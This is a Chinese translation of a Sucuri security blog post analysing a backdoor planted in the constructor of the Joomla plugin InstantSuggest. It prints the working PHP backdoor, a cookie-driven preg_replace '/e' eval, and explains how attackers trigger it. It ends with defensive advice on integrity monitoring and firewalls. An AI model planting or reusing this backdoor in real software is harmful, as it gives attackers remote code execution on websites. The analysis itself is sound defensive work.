Joomla插件構(gòu)造函數(shù)后門分析
本文介紹我們在Joomla插件中發(fā)現(xiàn)的一個有趣的后門。
盡管感覺有點不太對勁,不過由于代碼組織良好,最開始我們沒有意識到里面包含后門。插件的代碼如下所示:
乍一看沒什么特別的,沒有代碼加密,沒有代碼混淆,也沒什么注釋,就是正常的Joomla插件代碼。
但是如果仔細(xì)研究就會發(fā)現(xiàn),類的構(gòu)造函數(shù)不太正常:
public function __construct() {
$filter = JRequest::getString('p3', Null, 'cookie');
if ($filter) {
$option = $filter(JRequest::getString('p2', Null, 'cookie'));
$auth = $filter(JRequest::getString('p1', Null, 'cookie'));
$option("/123/e",$auth,123);
die();
}
}
第一個真正可疑的是代碼結(jié)尾處的die();,該函數(shù)會終止腳本的執(zhí)行,放在Joomla插件中,表示該函數(shù)會終止Joomla的執(zhí)行。插件不應(yīng)該這么做,特別是在初始化階段。
另外,讀者可能已經(jīng)注意到了字符串“/123/e”,類似于許多基于preg_replace的后門中“eval”標(biāo)記的正則表達式匹配模式。這么一看就會發(fā)現(xiàn),如果用preg_replace替換掉$option,恰好得到一句經(jīng)典的gre_replace后門代碼:
preg_replace("/123/e", $auth, 123);
123總是與123匹配,所以這段代碼總是會取得$auth變量的值,不管這個值是什么。
為了使該假設(shè)變成真,$option應(yīng)該等價于“preg_replace”,$auth應(yīng)該包含PHP功能代碼。那么這種想法是否可行呢?我們可以看到這兩個變量都是用cookie值填充的,所以,是的,這種想法是可行的。
通過分析代碼可以看到該后門以如下方式運行:
1,Joomla中啟用該插件后,會在每個頁面加載,因此插件的類的構(gòu)造函數(shù)總能得到執(zhí)行。
2,攻擊者可以通過設(shè)置以下cookie請求網(wǎng)站的任意頁面:
p3 - 該變量觸發(fā)后門執(zhí)行,如果沒有該變量,Joomla會正常執(zhí)行。
p2 - 該變量的值應(yīng)該設(shè)置為“preg_replace”、
p1 - 任意PHP功能代碼
整個插件都是惡意代碼嗎
我之前的文章中提到,惡意代碼被植入到Wordpress插件后被重新打包成盜版商業(yè)插件,但與此不同的是,本文提到的Joomla插件看起來不像是站長從某個小網(wǎng)站弄來的,該插件名為InstantSuggest,是一款免費插件,并不怎么流行(下載量小于400)。其官方代碼中不包含__construct()函數(shù)。
可以看到源碼中的漏洞已經(jīng)補上了,因此最有可能的情況是黑客黑進該站點后添加了這個后門。事實上我們也是在一個被黑網(wǎng)站上發(fā)現(xiàn)這個后門的(這個沒什么可驚喜的,我們的大部分工作都是與被黑站點打交道)。
另外,黑客不是僅僅將后門注入到某個插件中,而是安裝到某個已經(jīng)打過補丁的插件里,這樣看起不可疑,也不會破壞任何東西。這比修改網(wǎng)站中現(xiàn)有的文件要容易一些,因為修改網(wǎng)站現(xiàn)有文件時有時候可能會會破壞網(wǎng)站,因此需要更復(fù)雜的injector。
為證明這一假設(shè),我們搜索了網(wǎng)絡(luò)中包含該后門代碼的網(wǎng)站,發(fā)現(xiàn)幾乎全都包含在instantsuggest代碼中——我不相信所有這些網(wǎng)站都是主動安裝了這個不知名的插件。另外,這段惡意代碼也被用在了Joomla上下文之外,將Joomla API請求替換為簡單的@$_COOKIE調(diào)用(可參考cPanel論壇)。即使在這些案例中,其仍然被包含在instantsuggest代碼中——這么做只是為了使后門看起來不那么可疑。
To 站長:
如讀者所見,黑客可以可很容易將后門隱藏在我們的眼皮底下,當(dāng)人工審查代碼時很難將其辨識出來,特別是像Joomla這種包含上千個文件的系統(tǒng),安全掃描器也可能無法識別這種不常見的后門。檢測這種后門唯一可靠的方法就是完整性控制,當(dāng)檢測到文件被修改時提供向站長提供警報,使站長可以立即解決可能產(chǎn)生的問題。許多版本控制系統(tǒng)可以完成這種工作 ,如果讀者啟用我們的Sucuri監(jiān)控服務(wù)中的服務(wù)端掃描,也可以發(fā)現(xiàn)服務(wù)中的完整性控制功能。
還需要說明的是,通過cookie向后門中傳遞惡意代碼已經(jīng)成為趨勢,利用這種方式,黑客可以使用常規(guī)GET請求,這樣就不會在web服務(wù)日志分析系統(tǒng)中產(chǎn)生任何可疑操作。要檢測并阻止這種請求,站長需要一款更高級的website防火墻解決方案。
原文地址:http://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html